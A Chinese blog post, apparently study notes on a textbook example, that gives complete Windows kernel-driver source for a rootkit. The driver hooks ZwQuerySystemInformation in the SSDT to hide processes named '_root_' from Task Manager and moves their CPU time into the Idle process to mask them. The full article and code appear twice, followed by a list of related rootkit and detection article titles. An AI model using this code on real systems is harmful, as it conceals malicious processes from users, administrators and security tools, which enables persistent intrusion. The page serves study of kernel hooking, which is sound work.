rootkit---进程隐藏
2010-01-07 10:44
106 查看
这是《subverting windows kernel》中API
hook的一个例子,实现的功能就是进程隐藏。
实现机制:系统通过调用ZwQuerySystemInformation函数实现系统信息的查询,比如Taskmgr.exe使用该函数列举系统中运行的进程。通过Hook该函数并进行修改,对查询结果进行操作,从而实现进程隐藏。
具体代码+分析:
代码结构:四部分。第一部分:变量、宏、数据结构、函数原型等的声明
第二部分:NewZwQuerySystemInformation函数体
第三部分:驱动基本组成部分,DriverEntry和OnUnload
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
= = = = = = = = = = = = = = =
#include "ntddk.h"
#pragma pack(1)
//定义一个KeServiceDescriptorTable结构体,该结构用来强制转换由windows内核导出的//KeServiceDescriptorTable变量的类型。
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only in checked
build
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t,
*PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport)
ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
// SYSTEMSERVICE 该宏采用由Ntoskrnl.exe导出的Zw*函数的地址,并返回相应的Nt*
//函数在SSDT中的地址
#define SYSTEMSERVICE(_function)
KeServiceDescriptorTable.ServiceTableBase[
*(PULONG)((PUCHAR)_function+1)]
//MDL是一个内存描述符列表,这里声明一块内存区域。
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
// SYSCALL_INDEX宏采用Zw*函数地址并返回它在SSDT中相应的索引号。
#define SYSCALL_INDEX(_Function)
*(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig )
/
_Orig = (PVOID) InterlockedExchange( (PLONG)
&MappedSystemCallTable[SYSCALL_INDEX(_Function)],
(LONG) _Hook)
// UNHOOK_SYSCALL宏的作用是:
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig
) /
InterlockedExchange( (PLONG)
&MappedSystemCallTable[SYSCALL_INDEX(_Function)],
(LONG) _Hook)
//系统线程结构体定义
struct _SYSTEM_THREADS
{
LARGE_INTEGER
KernelTime;
LARGE_INTEGER
UserTime;
LARGE_INTEGER
CreateTime;
ULONG
WaitTime;
PVOID
StartAddress;
CLIENT_ID
ClientIs;
KPRIORITY
Priority;
KPRIORITY
BasePriority;
ULONG
ContextSwitchCount;
ULONG
ThreadState;
KWAIT_REASON
WaitReason;
};
//系统进程结构体定义
struct _SYSTEM_PROCESSES
{
ULONG
NextEntryDelta;
ULONG
ThreadCount;
ULONG
Reserved[6];
LARGE_INTEGER
CreateTime;
LARGE_INTEGER
UserTime;
LARGE_INTEGER
KernelTime;
UNICODE_STRING
ProcessName;
KPRIORITY
BasePriority;
ULONG
ProcessId;
ULONG
InheritedFromProcessId;
ULONG
HandleCount;
ULONG
Reserved2[2];
VM_COUNTERS
VmCounters;
IO_COUNTERS
IoCounters; //windows 2000 only
struct
_SYSTEM_THREADS
Threads[1];
};
//处理器时间结构体定义
struct _SYSTEM_PROCESSOR_TIMES
{
LARGE_INTEGER
IdleTime;
LARGE_INTEGER
KernelTime;
LARGE_INTEGER
UserTime;
LARGE_INTEGER
DpcTime;
LARGE_INTEGER
InterruptTime;
ULONG
InterruptCount;
};
// ZwQuerySystemInformation函数声明
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
ULONG SystemInformationCLass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG
ReturnLength
);
//保存原来的函数原型
ZWQUERYSYSTEMINFORMATION
OldZwQuerySystemInformation;
//定义两个全局变量,用于保存全局内核时间和用户时间
LARGE_INTEGER
m_UserTime;
LARGE_INTEGER
m_KernelTime;
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
= = = = = = = = = = = = = = =
// ZwQuerySystemInformation() returns a linked list of
processes.
// The function below imitates it, except it removes from the
list any
// process who's name begins with "_root_".
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
ntStatus =
((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if(
NT_SUCCESS(ntStatus))
{
// Asking for a file and directory listing
if(SystemInformationClass == 5)
//SystemInformationClass =5代表查询系统进程信息
{
//定义两个进程结构体,curr和prev
struct _SYSTEM_PROCESSES *curr = (struct
_SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
while(curr)
{
//DbgPrint("Current item is %x/n", curr);
if (curr->ProcessName.Buffer != NULL)
{
if(0 == memcmp(curr->ProcessName.Buffer, L"_root_",
12))
{
m_UserTime.QuadPart += curr->UserTime.QuadPart;
m_KernelTime.QuadPart +=
curr->KernelTime.QuadPart;
if(prev) // Middle or Last entry
{
if(curr->NextEntryDelta)
prev->NextEntryDelta +=
curr->NextEntryDelta;
else // we are last, so make prev the end
prev->NextEntryDelta = 0;
}
else
{
if(curr->NextEntryDelta)
{
// we are first in the list, so move it forward
(char *)SystemInformation +=
curr->NextEntryDelta;
}
else // we are the only process!
SystemInformation = NULL;
}
}
}
else // This is the entry for the Idle process
{
// Add the kernel and user
times of _root_*
// processes to the Idle
process.
curr->UserTime.QuadPart += m_UserTime.QuadPart;
curr->KernelTime.QuadPart +=
m_KernelTime.QuadPart;
// Reset the timers for next
time we filter
m_UserTime.QuadPart =
m_KernelTime.QuadPart = 0;
}
prev = curr;
if(curr->NextEntryDelta) ((char *)curr +=
curr->NextEntryDelta);
else curr =
NULL;
}
}
else if (SystemInformationClass == 8) // Query
for SystemProcessorTimes
{
struct _SYSTEM_PROCESSOR_TIMES * times = (struct
_SYSTEM_PROCESSOR_TIMES *)SystemInformation;
times->IdleTime.QuadPart += m_UserTime.QuadPart +
m_KernelTime.QuadPart;
}
}
return ntStatus;
}
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint("ROOTKIT: OnUnload
called/n");
// unhook system calls
UNHOOK_SYSCALL(
ZwQuerySystemInformation, OldZwQuerySystemInformation,
NewZwQuerySystemInformation );
// Unlock and Free MDL
if(g_pmdlSystemCall)
{
MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
IoFreeMdl(g_pmdlSystemCall);
}
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
IN
PUNICODE_STRING theRegistryPath)
{
// Register a dispatch
function for Unload
theDriverObject->DriverUnload =
OnUnload;
// Initialize global times
to zero
// These variables will
account for the
// missing time our hidden
processes are
// using.
m_UserTime.QuadPart =
m_KernelTime.QuadPart = 0;
// save old system call
locations
OldZwQuerySystemInformation
=(ZWQUERYSYSTEMINFORMATION(SYSTEMSERVICE(ZwQuerySystemInformation));
// Map the memory into our
domain so we can change the permissions on the MDL
g_pmdlSystemCall =
MmCreateMdl(NULL,
KeServiceDescriptorTable.ServiceTableBase,
KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// Change
the flags of the MDL
g_pmdlSystemCall->MdlFlags =
g_pmdlSystemCall->MdlFlags |
MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall,
KernelMode);
// hook
system calls
HOOK_SYSCALL(
ZwQuerySystemInformation, NewZwQuerySystemInformation,
OldZwQuerySystemInformation
);
return STATUS_SUCCESS;
}
总结:系统中的进程通过一个双向链表(是不是循环的还有待验证)组织在一起,代码中红色部分,就是执行一个遍历过程。刚开始有点迷糊,后来再请教了看雪的一个朋友后总算搞懂了。
hook的一个例子,实现的功能就是进程隐藏。
实现机制:系统通过调用ZwQuerySystemInformation函数实现系统信息的查询,比如Taskmgr.exe使用该函数列举系统中运行的进程。通过Hook该函数并进行修改,对查询结果进行操作,从而实现进程隐藏。
具体代码+分析:
代码结构:四部分。第一部分:变量、宏、数据结构、函数原型等的声明
第二部分:NewZwQuerySystemInformation函数体
第三部分:驱动基本组成部分,DriverEntry和OnUnload
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
= = = = = = = = = = = = = = =
#include "ntddk.h"
#pragma pack(1)
//定义一个KeServiceDescriptorTable结构体,该结构用来强制转换由windows内核导出的//KeServiceDescriptorTable变量的类型。
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only in checked
build
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t,
*PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport)
ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
// SYSTEMSERVICE 该宏采用由Ntoskrnl.exe导出的Zw*函数的地址,并返回相应的Nt*
//函数在SSDT中的地址
#define SYSTEMSERVICE(_function)
KeServiceDescriptorTable.ServiceTableBase[
*(PULONG)((PUCHAR)_function+1)]
//MDL是一个内存描述符列表,这里声明一块内存区域。
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
// SYSCALL_INDEX宏采用Zw*函数地址并返回它在SSDT中相应的索引号。
#define SYSCALL_INDEX(_Function)
*(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig )
/
_Orig = (PVOID) InterlockedExchange( (PLONG)
&MappedSystemCallTable[SYSCALL_INDEX(_Function)],
(LONG) _Hook)
// UNHOOK_SYSCALL宏的作用是:
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig
) /
InterlockedExchange( (PLONG)
&MappedSystemCallTable[SYSCALL_INDEX(_Function)],
(LONG) _Hook)
//系统线程结构体定义
struct _SYSTEM_THREADS
{
LARGE_INTEGER
KernelTime;
LARGE_INTEGER
UserTime;
LARGE_INTEGER
CreateTime;
ULONG
WaitTime;
PVOID
StartAddress;
CLIENT_ID
ClientIs;
KPRIORITY
Priority;
KPRIORITY
BasePriority;
ULONG
ContextSwitchCount;
ULONG
ThreadState;
KWAIT_REASON
WaitReason;
};
//系统进程结构体定义
struct _SYSTEM_PROCESSES
{
ULONG
NextEntryDelta;
ULONG
ThreadCount;
ULONG
Reserved[6];
LARGE_INTEGER
CreateTime;
LARGE_INTEGER
UserTime;
LARGE_INTEGER
KernelTime;
UNICODE_STRING
ProcessName;
KPRIORITY
BasePriority;
ULONG
ProcessId;
ULONG
InheritedFromProcessId;
ULONG
HandleCount;
ULONG
Reserved2[2];
VM_COUNTERS
VmCounters;
IO_COUNTERS
IoCounters; //windows 2000 only
struct
_SYSTEM_THREADS
Threads[1];
};
//处理器时间结构体定义
struct _SYSTEM_PROCESSOR_TIMES
{
LARGE_INTEGER
IdleTime;
LARGE_INTEGER
KernelTime;
LARGE_INTEGER
UserTime;
LARGE_INTEGER
DpcTime;
LARGE_INTEGER
InterruptTime;
ULONG
InterruptCount;
};
// ZwQuerySystemInformation函数声明
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
ULONG SystemInformationCLass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG
ReturnLength
);
//保存原来的函数原型
ZWQUERYSYSTEMINFORMATION
OldZwQuerySystemInformation;
//定义两个全局变量,用于保存全局内核时间和用户时间
LARGE_INTEGER
m_UserTime;
LARGE_INTEGER
m_KernelTime;
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
= = = = = = = = = = = = = = =
// ZwQuerySystemInformation() returns a linked list of
processes.
// The function below imitates it, except it removes from the
list any
// process who's name begins with "_root_".
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
ntStatus =
((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if(
NT_SUCCESS(ntStatus))
{
// Asking for a file and directory listing
if(SystemInformationClass == 5)
//SystemInformationClass =5代表查询系统进程信息
{
//定义两个进程结构体,curr和prev
struct _SYSTEM_PROCESSES *curr = (struct
_SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
while(curr)
{
//DbgPrint("Current item is %x/n", curr);
if (curr->ProcessName.Buffer != NULL)
{
if(0 == memcmp(curr->ProcessName.Buffer, L"_root_",
12))
{
m_UserTime.QuadPart += curr->UserTime.QuadPart;
m_KernelTime.QuadPart +=
curr->KernelTime.QuadPart;
if(prev) // Middle or Last entry
{
if(curr->NextEntryDelta)
prev->NextEntryDelta +=
curr->NextEntryDelta;
else // we are last, so make prev the end
prev->NextEntryDelta = 0;
}
else
{
if(curr->NextEntryDelta)
{
// we are first in the list, so move it forward
(char *)SystemInformation +=
curr->NextEntryDelta;
}
else // we are the only process!
SystemInformation = NULL;
}
}
}
else // This is the entry for the Idle process
{
// Add the kernel and user
times of _root_*
// processes to the Idle
process.
curr->UserTime.QuadPart += m_UserTime.QuadPart;
curr->KernelTime.QuadPart +=
m_KernelTime.QuadPart;
// Reset the timers for next
time we filter
m_UserTime.QuadPart =
m_KernelTime.QuadPart = 0;
}
prev = curr;
if(curr->NextEntryDelta) ((char *)curr +=
curr->NextEntryDelta);
else curr =
NULL;
}
}
else if (SystemInformationClass == 8) // Query
for SystemProcessorTimes
{
struct _SYSTEM_PROCESSOR_TIMES * times = (struct
_SYSTEM_PROCESSOR_TIMES *)SystemInformation;
times->IdleTime.QuadPart += m_UserTime.QuadPart +
m_KernelTime.QuadPart;
}
}
return ntStatus;
}
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint("ROOTKIT: OnUnload
called/n");
// unhook system calls
UNHOOK_SYSCALL(
ZwQuerySystemInformation, OldZwQuerySystemInformation,
NewZwQuerySystemInformation );
// Unlock and Free MDL
if(g_pmdlSystemCall)
{
MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
IoFreeMdl(g_pmdlSystemCall);
}
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
IN
PUNICODE_STRING theRegistryPath)
{
// Register a dispatch
function for Unload
theDriverObject->DriverUnload =
OnUnload;
// Initialize global times
to zero
// These variables will
account for the
// missing time our hidden
processes are
// using.
m_UserTime.QuadPart =
m_KernelTime.QuadPart = 0;
// save old system call
locations
OldZwQuerySystemInformation
=(ZWQUERYSYSTEMINFORMATION(SYSTEMSERVICE(ZwQuerySystemInformation));
// Map the memory into our
domain so we can change the permissions on the MDL
g_pmdlSystemCall =
MmCreateMdl(NULL,
KeServiceDescriptorTable.ServiceTableBase,
KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// Change
the flags of the MDL
g_pmdlSystemCall->MdlFlags =
g_pmdlSystemCall->MdlFlags |
MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall,
KernelMode);
// hook
system calls
HOOK_SYSCALL(
ZwQuerySystemInformation, NewZwQuerySystemInformation,
OldZwQuerySystemInformation
);
return STATUS_SUCCESS;
}
总结:系统中的进程通过一个双向链表(是不是循环的还有待验证)组织在一起,代码中红色部分,就是执行一个遍历过程。刚开始有点迷糊,后来再请教了看雪的一个朋友后总算搞懂了。
相关文章推荐
- Rootkit进程篇之进程隐藏 ( SSDT Hook QuerySystemInformation )
- ring0级暴力搜索内存检测系统隐藏进程(或Rootkit)
- 一个rootkit程序--隐藏文件和进程
- RING0级暴力搜索内存检测系统隐藏进程(或ROOTKIT)(实测可运行)
- rootkit:实现隐藏进程
- RING0级暴力搜索内存检测系统隐藏进程(或ROOTKIT)(实测可运行) .
- rootkit:在隐藏模块的基础上隐藏进程
- 一个rootkit程序--隐藏文件和进程
- rootkit:在隐藏模块的基础上隐藏进程
- ring0级暴力搜索内存检测系统隐藏进程(或Rootkit)
- Delphi隐藏进程
- 系统隐藏进程检查
- 修改 动进程链表 进行隐藏
- Windows2000 内核级进程隐藏、侦测技术
- 隐藏进程
- vc是实现RootKit文件隐藏
- win32-hookdll,隐藏辅助进程
- 驱动级别 进程隐藏pid
- Win64 驱动内核编程-21.DKOM隐藏和保护进程
- linux 下隐藏进程的一种方法及遇到的坑